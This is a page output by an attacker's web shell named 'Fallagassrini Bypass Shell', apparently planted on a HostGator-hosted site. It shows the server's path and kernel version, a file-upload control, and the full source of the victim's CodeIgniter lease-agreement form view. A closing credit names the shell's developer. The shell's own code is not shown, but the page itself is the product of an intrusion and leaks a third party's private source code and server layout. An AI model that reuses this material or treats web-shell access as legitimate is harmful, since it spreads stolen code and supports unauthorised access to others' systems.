? Fallagassrini

Fallagassrini Bypass Shell

echo"
Fallagassrini
";
Current Path : /home1/savoy/www/savoyglobal.net/rms/application/views/building_management/

Linux gator3171.hostgator.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
Upload File :
Current File : /home1/savoy/www/savoyglobal.net/rms/application/views/building_management/add_lease_agreement.php

<?php 
if ( ! defined('BASEPATH')) exit('No direct script access allowed');
$this->load->view('documentreadyfunctions');  
$building=$this->mastermodel->getdatas('building_details','building_id','','building_id');
$customer=$this->mastermodel->getdatas('customer','customer_id','','customer_id');
$appliance=$this->mastermodel->getdatas('appliance','appliance_id','','appliance_id');
$lease=$this->mastermodel->get_data('alert_master_designation','2','alert_id');
$mode=$this->mastermodel->getenumvalues('lease_payment_details', 'lease_payment_mode');
$status=$this->mastermodel->getenumvalues('lease_agreement', 'lease_status');
?>  
<script type="text/javascript">
function load_details(id)
{  
    $('#facility_details').hide();
    $('#amenity_details').hide();
    $('#detail1').hide();
    $('#facility').empty();
    $('#amenity').empty();
    $('#detail').empty();
    $("#lease_flat_no").empty();
    $("#location1").empty();
    $("#code").empty();
    $("#address").empty();  
     $.ajax({
            type: "POST",
            url: "<?= site_url()?>"+'/bm/building_details/'+id,
            success: function(msg)
            {        
                $('#detail1').show();
                var details = JSON.parse(msg);
                var field=details.field;             
                $("#location1").append('<label>'+details.location+'</label>');
                $("#address").append('<label>'+details.address+'</label>');           
                $("#code").append('<label>'+details.code+'</label>');
                $("#lease_flat_no").append('<option value="">---Select---</option>');
                length=details.detail.length;
                if(length>0)
                {                
                    for(var i=0;i<length;i++)
                    {  
                        $("#lease_flat_no").append('<option value='+ details.detail[i]['id']+'>'+ details.detail[i][field]+'</option>');//                        str+='<option value='+ details.detail[i][field]+'>'+ details.detail[i][field]+'</option>';
                    }  
                    
                 } 
                var length = details.facility.length;
                    if(length>0)
                    {
                        $('#facility_details').show();
                        $("#facility_details").load("<?= site_url()?>"+'/bm/load_facility/' +id);
                     }
            $('#amenity').empty();           
            var length = details.amenity.length;
            if(length>0)
            {
                $('#amenity_details').show();
                $("#amenity_details").load("<?= site_url()?>"+'/bm/load_amenities/' +id);
            }
           }
        });
}
function check_all(name,check)
{ 
  var i;
  var limit=document.getElementById('alert_limit').value;
  if(check!='')
          {
              if(document.getElementById(name).checked)
                  {
                      for(i=1;i<limit;i++)
                        {
                            document.getElementById('lease_alert_'+i).checked=true;  
                        }
                  }
                  else
                      {
                       for(i=1;i<limit;i++)
                        {
                            document.getElementById('lease_alert_'+i).checked=false;  
                        }   
                      }            
          }
          else
              {                   
                for(i=1;i<limit;i++)
                    {
                    if(document.getElementById('lease_alert_'+i).checked==false)
                        {
                            break;
                        }
                    }  
                if(i==limit)
                    {
                        document.getElementById('alert_check_all').checked=true;
                    }
                    else
                        {
                        document.getElementById('alert_check_all').checked=false; 
                        }  
                }               
}
</script>

<div class="icons_main">
   <div  class="icons">   
    <img src="<?=base_url()?>assets/images/back.png" title="Back" class="clickimage" onclick="viewdata('bm','viewinbmsearch','search_lease_agreement','view_lease_agreement','<?=$_SESSION['pagenum'];?>')" alt="Back" align = "center" width="32" height="32"  />            
</div>
        <div class="icons_caption">
        <h4>Creating new Lease Agreement</h4>
        </div>
</div>
<?php
    $attributes=array('id'=>'validateform','class'=>'validate');
    echo form_open('bm/addinbm/insert_lease_agreement/view_lease_agreement/1',$attributes);        
?>
<div class="grid_6">
    <div class="box">
            <div class="header">                
                    <h3>Building Details</h3>
            </div>        
          <div class="content no-padding">
             <div class="section _100">
                    <label> Customer Name </label>
                    <div>
                        <select name="lease_customer_id" class="required" id="lease_customer_id">
                            <option value="">--Select--</option>
                            <?php
                            foreach($customer as $row)
                            {
                            ?>
                                <option value="<?=$row['customer_id']?>"><?=$row['customer_name']?> </option>
                            <?php                            
                            }
                            ?>
                        </select>
                    </div>
                </div> 
              <div class="section _100">
                    <label>Tenancy Agreement No </label>
                    <div class="single_page">
                        Auto-generated
                    </div>
            </div>    
          
                <div class="section _100">
                    <label>Building Name </label>
                    <div>
                        <select name="lease_building_id" id="lease_building_id" onchange="load_details(this.value)">
                            <option>--Select--</option>
                            <?php 
                            foreach($building as $row)
                            {
                             echo '<option value="'.$row['building_id'].'">'.$row['building_name'].'</option>';   
                            }
                            ?>
                        </select>
                    </div>
                </div> 
              <div style="display: none" id="detail1">
                  <div class="section _100" >
                    <label> Building Code</label>           
                    <div  id="code" class="single_page">
                        
                    </div>                                  
                </div>           
                <div class="section _100" >
                    <label> Location</label>           
                    <div  id="location1" class="single_page">
                        
                    </div>                                  
                </div>
                  
                  <div class="section _100" >
                    <label> Address</label>           
                    <div  id="address" class="single_page">
                        
                    </div>                                  
                </div>
                  <div class="section _100" >                                                   
                </div>
              </div>
                 <div class="section _100" id="type">
                    <label> Flat/Room/Villa No</label>           
                    <div id="drop">
                        <select name="lease_flat_no" id="lease_flat_no" class="chzn-done required">
                            <option value="">---Select---</option> 
                        </select>
                    </div>                                  
                </div>                
                <div class="section _100">
                    <label> Status </label>
                     <div style="margin-top: 6px;">
                        <select name="lease_status" id="lease_status" class="required chzn-done">
                            <?php
                                foreach($status['val'] as $row)
                                {
                            ?>
                            <option value=<?=$row?>><?=$row?></option>
                            <?php
                                }
                            ?>                            
                        </select>
                    </div>
                </div>  
              <div class="section _100">
                    <label> Remarks </label>
                    <div>
                          <textarea name="lease_remarks" id="lease_remarks"></textarea>  
                    </div>
            </div>
        </div>
    </div>
</div>

<div class="grid_6">
    <div class="box">
            <div class="header">                
                    <h3>Lease Details</h3>
            </div>
          <div class="content no-padding">
              <div class="section _100">
                    <label> Lease Date </label>
                    <div>
                          <input name="lease_date"  id="date" type="dateonly" class="required">  
                    </div>
                </div>
                <div class="section _100">
                    <label> Lease Start Date </label>
                    <div>
                          <input name="lease_start_date"  id="lease_start_date" type="dateonly" class="required">  
                    </div>
                </div>
                <div class="section _100">
                    <label> Lease End Date </label>
                    <div>
                          <input name="lease_end_date"  id="lease_end_date" type="dateonly" class="required">  
                    </div>
                </div>
               <div class="section _100">
                    <label> Remind Before </label>
                    <div>
                          <input name="lease_remind_before"  id="lease_remind_before" type="text" class="required">  
                    </div>
                </div>
            <div class="section _100">
                    <label> Rent Amount </label>
                    <div>
                           <input type="text" class="auto required number" name="lease_rent_amount" id="lease_rent_amount"/>
                    </div>
            </div>
          </div>
    </div>
</div>
<div class="grid_6">
        <div class="box">
            <div class="header main">Lease Alert</div>
            <div class="content no-padding"> 
                <table class="table">
                    <tr>
                        <th><input type="checkbox" name="alert_check_all" id="alert_check_all" onchange="check_all(this.name,'check')"></th>
                        <th>Employee Name</th>
                        <th>Designation</th>                   
                    </tr>
                    <?php 
                        $i=1;
                        foreach($lease as $row)
                        {
                            $employee=$this->mastermodel->get_data('employee',$row['alert_designation_id'],'employee_designation_id');                         
                                foreach($employee as $list)
                                {                                                   
                        ?>
                    <tr>
                        <td> <input type="checkbox" name="lease_alert_<?=$i?>" id="lease_alert_<?=$i?>" value="<?=$list['employee_id']?>" checked="true" onchange="check_all('','')"/> </td>
                        <td> <?=$list['employee_name']?> </td>
                        <td> <?=$this->mastermodel->get_single_field_value('designation','designation_name','designation_id',$row['alert_designation_id'])?> </td>
                    </tr>
                    <?php
                        $i++;
                            }
                        }
                ?> 
                </table>
                
                <input type="hidden" name="visa_alert_master_id" id="alert_master_id" value="4"/>
            </div>
        </div>
    </div>
<div id="facility_details">
    
</div>
<div id="amenity_details">
    
</div>


<div class="grid_12">
        <div class="box">
             <div class="content no-padding">
            <div class="header main">Payment Details </div>          
                <table class="table">                                                                                                                                                  
                   <tr>
                        <th>Payment Mode</th>
                        <th>Date</th> 
                        <th>Amount</th>
                        <th>Status</th>                                     
                        <th><input type="button" id="button2" value="Add More" class="addRow" title="Add Row" style="width:75px;"/></th>
                    </tr>
                    <tr>                                               
                        <td>  
                            <select name="lease_payment_mode" id="lease_payment_mode" class="chzn-done">
                                <option value="">Select</option>
                                <?php
                               if(count($mode['val'])>0)
                            {
                            foreach ($mode['val'] as $method)
                            {
                                    ?>
                                <option value="<?=$method?>"><?=$method?></option>
                                <?php
                                }
                            }
                                ?>
                            </select>
                            
                        </td>  
                        <td>  <input type="dateonly" name="lease_payment_date" id="lease_payment_date"/>   </td>
                        <td><input type="text" name="lease_payment_amount" id="lease_payment_amount" class="auto"/> </td>
                        <td>Unpaid</td>                 
                        <td>
                            <img style="float: right; vertical-align: top;"src="<?=base_url()?>assets/images/icons/close.png" alt="Delete Row" class="delRow clickimage" title="Delete Row"/>
                        </td>
                    </tr>
                </table> 
             </div>
        </div>    
    </div> 
<div class="grid_12">
        <div class="box">
             <div class="content no-padding">
            <div class="header main">Appliance Allocation </div>          
                <table class="table">
                   <tr>
                        <th>Appliance</th>
                        <th>Date</th> 
                        <th>Remarks</th>
                        <th><input type="button" id="button2" value="Add More" class="addRow" title="Add Row" style="width:75px;"/></th>
                    </tr>
                    <tr>                                               
                        <td>    
                        <select name="appliance_allocation_id" id="appliance_allocation_id" class="chzn-done" >
                                <option value="">Select</option> 
                                <?php
                                    foreach ($appliance as $list)
                                    {
                                        ?>
                                            <option value="<?=$list['appliance_id']?>"><?=$list['appliance_type']?></option>
                                        <?php
                                    }
                                ?>
                        </select>
                        </td>  
                        <td><input type="dateonly" name="appliance_allocation_date" id="date5" /></td>
                        <td><textarea class="w_90"  name="appliance_allocation_remarks" id="appliance_allocation_remarks"></textarea></td>
                        <td>
                            <img style="float: right; vertical-align: top;"src="<?=base_url()?>assets/images/icons/close.png" alt="Delete Row" class="delRow clickimage" title="Delete Row"/>
                        </td>
                    </tr>
                </table> 
             </div>
        </div>    
    </div> 

<div class="grid_12">
    <div class="box">
            <div class="actions"> 
                 <div class="actions-left">
                            <input type="reset">                                                                        
                            <input type="hidden" name="alert_limit" id="alert_limit" value="<?=$i?>"/>
                    </div>           
                    <div class="actions-right">
                            <button type="submit" id="submit" class="clickimage" onclick="addformdata('validateform')">Save</button>
                    </div>
            </div>          
    </div> 
</div> 

<?php echo form_close();?>



bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net